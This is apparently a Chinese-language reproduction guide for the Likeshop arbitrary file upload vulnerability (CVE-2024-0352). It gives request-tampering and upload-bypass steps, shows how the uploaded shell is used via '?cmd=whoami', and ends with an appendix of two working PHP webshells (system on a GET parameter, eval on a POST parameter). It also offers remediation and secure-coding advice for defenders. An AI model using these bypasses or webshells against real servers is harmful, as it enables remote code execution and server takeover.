漏洞复现--Likeshop任意文件上传(CVE-2024-0352)
字数 1788 2025-08-18 11:36:36
Likeshop任意文件上传漏洞(CVE-2024-0352)分析与复现指南
漏洞概述
Likeshop是一款开源电商系统,在其某些版本中存在一个任意文件上传漏洞(CVE-2024-0352),攻击者可以利用此漏洞上传恶意文件到服务器,可能导致远程代码执行(RCE)、网站篡改或服务器沦陷等严重后果。
漏洞影响
- 影响版本:Likeshop特定版本(需根据实际测试确定具体版本范围)
- 漏洞类型:任意文件上传
- CVSS评分:待确认(根据漏洞实际危害程度)
- 威胁等级:高危
漏洞原理
该漏洞源于Likeshop系统对用户上传文件时的验证不严格,导致攻击者可以绕过正常的文件类型检查,上传任意文件类型(如.php、.jsp等可执行脚本文件)到服务器。
环境准备
测试环境搭建
-
下载受影响版本的Likeshop:
git clone [Likeshop仓库地址] cd Likeshop git checkout [受影响版本号] -
安装依赖:
composer install -
配置数据库:
- 创建MySQL数据库
- 修改
.env文件配置数据库连接
-
启动开发服务器:
php artisan serve --port=8080
工具准备
- Burp Suite或类似的HTTP拦截工具
- 浏览器开发者工具
- 文本编辑器
- 简单的PHP webshell(用于验证漏洞)
漏洞复现步骤
-
定位上传点:
- 登录Likeshop后台
- 寻找任何文件上传功能(如图片上传、附件上传等)
-
拦截上传请求:
- 使用Burp Suite拦截正常的上传请求
-
修改上传请求:
- 修改
Content-Type头部为合法的图片类型(如image/jpeg) - 修改文件名后缀为
.php(如shell.php) - 保持文件内容为有效的PHP代码(如``)
- 修改
-
绕过文件类型检查:
- 尝试以下绕过技术:
- 修改文件头为图片魔数(如
GIF89a) - 使用双扩展名(如
shell.jpg.php) - 使用空字节截断(如
shell.php%00.jpg)
- 修改文件头为图片魔数(如
- 尝试以下绕过技术:
-
上传文件:
- 发送修改后的请求
- 观察服务器响应,确认是否上传成功
-
访问上传的文件:
- 从服务器响应或页面源代码中获取上传文件的路径
- 直接访问该路径验证是否能够执行
漏洞验证
成功上传webshell后,可以通过以下方式验证:
-
直接访问webshell:
http://target.com/uploads/shell.php -
执行系统命令:
http://target.com/uploads/shell.php?cmd=whoami -
检查返回结果是否显示当前服务器用户
漏洞修复建议
-
官方补丁:
- 升级到Likeshop最新版本
- 应用官方发布的安全补丁
-
临时缓解措施:
- 在服务器配置中禁止上传目录执行脚本
- 示例(Nginx配置):
location ^~ /uploads/ { deny all; }
-
代码层面修复:
- 实施严格的文件类型检查(使用MIME类型而非扩展名)
- 重命名上传文件(使用随机名称+白名单扩展名)
- 设置文件上传大小限制
- 对上传内容进行二次渲染(如图片)
-
服务器加固:
- 设置上传目录不可执行
- 定期检查上传目录中的可疑文件
- 实施文件完整性监控
深入分析
漏洞代码定位
通过分析Likeshop源代码,漏洞可能存在于以下位置:
-
上传控制器:
- 检查
app/Http/Controllers/Admin/UploadController.php - 查找处理文件上传的方法
- 检查
-
上传验证逻辑:
- 检查文件类型验证部分
- 常见问题包括仅验证扩展名而不验证内容
-
文件保存逻辑:
- 检查文件如何被保存到服务器
- 查找是否使用了原始文件名
安全开发建议
-
文件验证最佳实践:
// 正确的文件验证示例 $allowedMimeTypes = ['image/jpeg', 'image/png']; $file = $request->file('upload'); if (!in_array($file->getMimeType(), $allowedMimeTypes)) { abort(403, 'Invalid file type'); } // 安全保存文件 $extension = $file->guessExtension(); // 从内容推断扩展名 $filename = Str::random(40).'.'.$extension; $path = $file->storeAs('uploads', $filename, 'public'); -
防御多层验证:
- 第一层:客户端验证(用户体验)
- 第二层:服务器端MIME类型验证
- 第三层:文件内容验证(如图像重采样)
- 第四层:服务器配置限制
法律与道德声明
- 本技术文档仅用于安全研究与教育目的
- 未经授权对任何系统进行测试是违法行为
- 进行漏洞测试前必须获得系统所有者的书面许可
- 发现漏洞后应遵循负责任的披露流程
参考资源
附录
常见文件上传绕过技术
-
扩展名绕过:
.php5,.phtml,.phar- 大小写混合
.PhP - 双扩展名
.jpg.php
-
Content-Type绕过:
- 修改为
image/jpeg或text/plain
- 修改为
-
文件内容混淆:
- 添加图片头
GIF89a - 使用多语言脚本(如HTML+PHP混合)
- 添加图片头
-
路径遍历:
- 在文件名中包含
../尝试覆盖系统文件
- 在文件名中包含
Webshell示例
简单PHP webshell:
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
更隐蔽的webshell:
<?php
@eval($_POST['ant']);
?>